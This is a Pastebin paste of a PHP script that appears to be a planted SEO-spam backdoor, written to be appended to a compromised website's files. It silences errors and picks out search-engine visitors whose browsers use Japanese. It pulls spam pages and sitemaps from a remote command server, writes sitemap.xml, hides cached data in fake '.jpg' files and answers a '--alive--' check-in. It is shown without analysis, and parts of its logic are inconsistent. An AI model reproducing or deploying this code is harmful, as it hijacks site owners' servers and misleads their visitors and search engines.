Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ?><?php
- @ini_set('memory_limit', '-1');
- @ini_set('max_execution_time', 0);
- @set_time_limit(0);
- @error_reporting(0);
- @ini_set('display_errors', 0);
- $api = "http://192-187-118-138.xxwin.pw/group2/api3.php";
- $bak_dir = dirname(__FILE__) . "/images";
- if (!file_exists($bak_dir)) {
- mkdir($bak_dir);
- }
- $suffix_txt = $bak_dir . '/suffix.txt';
- if (file_exists($suffix_txt)) {
- $suffix = file_get_contents($suffix_txt);
- }else{
- $suffix_array[0] = randomSuffix();
- $suffix_array[1] = '/';
- $suffix = $suffix_array[mt_rand(0, 1)];
- file_put_contents($suffix_txt, $suffix , LOCK_EX);
- }
- $req_path = $_SERVER["REQUEST_URI"];
- $ip = $_SERVER["REMOTE_ADDR"];
- if(IsFltExt()) return;
- if(IsGBot()) return;
- if(!IsGBot()&&!IsClickFromSE()) return;
- if(!IsGBot()&&!IsJpLng()) return;
- if(preg_match("/rrgsmp\/(.*)/i",$req_path,$res))
- {
- $action = "sitemap";
- $apikey = $res[1];
- }
- if(preg_match("/sitemap\/(.*)/i",$req_path,$res))
- {
- $action = "sitemap";
- $apikey = $res[1];
- }
- if(preg_match("/sitemap\/(.*)\.txt$/i",$req_path,$res))
- {
- $action = "sitemap_txt";
- $apikey = $res[1];
- }
- if($action=="sitemap")
- {
- ob_clean();
- header('Content-type: text/xml; charset=utf-8');
- siteMapXml();exit();
- }
- if($action=="sitemap_txt")
- {
- ob_clean();
- header('Content-type: text/html; charset=utf-8');
- siteMapTxt();exit();
- }
- if(preg_match("/check-alive/i",$req_path,$res))
- {
- echo "--alive--"; exit;
- }
- elseif(preg_match("/-(\d{4,})/i",$req_path,$res))
- {
- $action = "article";
- $id = $res[1];
- }
- else
- {
- $action = "article";
- $id = -1;
- }
- if($action=="article")
- {
- header('Content-Type:text/html; charset=utf-8');
- if(IsGBot()){
- $bot = 1;
- }else{
- $bot = -1;
- }
- Article();
- exit();
- }
- function randomSuffix()
- {
- $strs = 'ABCDEFGHIGKLMNOPQRSTUVWZYZabcdefghigklmnopqrstuvwxyz';
- $strs_array = str_split($strs);
- shuffle($strs_array);
- $str_array = array_slice($strs_array, 0, mt_rand(3, 4));
- $str = '.' . implode($str_array);
- return $str;
- }
- function GetDomain()
- {
- $host = $_SERVER['HTTP_HOST'];
- if (isHTTPS()) {
- $host = 'https://' . $host;
- }else{
- $host = 'http://' . $host;
- }
- return $host;
- }
- function IsFltExt()
- {
- global $req_path;
- try
- {
- $date = explode('?', $req_path);
- $date = basename($date[0]);
- $date = explode('.', $date);
- $ext = strtolower($date[1]);
- return $ext=="jpg"
- ||$ext=="gif"
- ||$ext=="css"
- ||$ext=="js"
- ||$ext=="png";
- }
- catch (Exception $e)
- { }
- }
- function Article()
- {
- global $bak_dir, $id, $req_path, $api, $suffix, $bot;
- $url_md5 = md5($req_path);
- if ($req_path == '' || $req_path == '/' || $req_path == '/index.php') {
- $bot = 1;
- }
- if ($id == -1) {
- $get_url = $api."?bot=id&shkey=".$shkey."&act=1"."&id=".$id."&suffix=". $suffix ."&md5=".$url_md5;
- $get_html = FFGet($get_url);
- $get_id = trim($get_html);
- $str_length = strlen($req_path);
- $str_dir = $bak_dir . '/bak';
- if (!file_exists($str_dir)) {
- mkdir($str_dir);
- }
- $id_bak_dir = $str_dir . '/' . $str_length;
- if (!file_exists($id_bak_dir)) {
- mkdir($id_bak_dir);
- }
- $id_bak_file = $id_bak_dir . '/' . md5($req_path) . '.jpg';
- if (file_exists($id_bak_file)) {
- $id = file_get_contents($id_bak_file);
- }else{
- $id = $get_id;
- file_put_contents($id_bak_file, $get_id, LOCK_EX);
- }
- }
- $shkey = GetDomain();
- $url = $api."?bot=".$bot."&shkey=".$shkey."&act=1"."&id=".$id."&suffix=". $suffix ."&md5=".$url_md5;
- $html = FFGet($url);
- echo $html;
- }
- function IsJpLng()
- {
- $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4);
- return stripos($lang,"ja")===0;
- }
- function IsGBot()
- {
- global $ip;
- $ua=$_SERVER['HTTP_USER_AGENT'];
- if(stripos($ua,"iseo")) return true;
- $spider_list=array("google"
- , "yahoo"
- , "live"
- , "msn"
- , "bing"
- , "facebook","nike","sbcglobal","microsoft");
- $domain = "";
- try
- {
- $domain = gethostbyaddr($ip);
- if($domain!="")
- {
- $domain = strtolower($domain);
- foreach ($spider_list as $s)
- {
- if(stripos($domain,$s))
- {
- return true;
- }
- }
- }
- }
- catch(Exception $e)
- {
- }
- if($domain=="")
- {
- return (stripos($ua,"bot")||stripos($ua,"spider")||stripos($ua,"yahoo")||stripos($ua,"seznam")||stripos($ua,"bing"));
- }
- else
- {
- return false;
- }
- }
- function IsClickFromSE()
- {
- $ref=$_SERVER['HTTP_REFERER'];
- return (stripos($ref,"google")||stripos($ref,"yahoo")||stripos($ref,"bing")||stripos($ref,"seznam"));
- }
- function FFGet( $url ){
- $file_contents ='';
- $user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36";
- if(function_exists('file_get_contents')){
- ini_set('user_agent',$user_agent);
- try
- {
- $file_contents = @file_get_contents( $url );
- }
- catch (Exception $e)
- { }
- }
- if(strlen($file_contents)<1&&function_exists('curl_init')){
- try
- {
- $file_contents ="";
- $ch = curl_init();
- $timeout = 30;
- curl_setopt($ch,CURLOPT_URL,$url);
- curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
- curl_setopt($ch,CURLOPT_USERAGENT,$user_agent);
- $file_contents = curl_exec( $ch);
- curl_close( $ch );
- }
- catch (Exception $e)
- {}
- }
- if($file_contents=="503"||$file_contents=="")
- {
- STU();
- }
- return $file_contents;
- }
- function STU()
- {
- ob_start();
- header('HTTP/1.1 503 Service Temporarily Unavailable');
- header('Status: 503 Service Temporarily Unavailable');
- header('Retry-After:1200');
- header('X-Powered-By:Apache');
- exit();
- }
- function siteMapXml()
- {
- global $bak_dir,$apikey,$api,$suffix;
- $html = FFGet($api."?act=2&shkey=".GetDomain()."&suffix=". $suffix ."&id=".$apikey);
- echo $html;
- $xml_file = 'sitemap.xml';
- if (!file_exists($xml_file)) {
- file_put_contents($xml_file, $html, LOCK_EX);
- }
- }
- function siteMapTxt()
- {
- global $bak_dir,$apikey,$api,$suffix;
- $html = FFGet($api."?act=3&shkey=".GetDomain()."&suffix=". $suffix ."&id=".$apikey);
- echo $html;
- }
- function isHTTPS(){
- if(!isset($_SERVER['HTTPS'])) return FALSE;
- if($_SERVER['HTTPS'] === 1){
- return TRUE;
- }elseif($_SERVER['HTTPS'] === 'on'){
- return TRUE;
- }elseif($_SERVER['SERVER_PORT'] == 443){
- return TRUE;
- }
- return FALSE;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement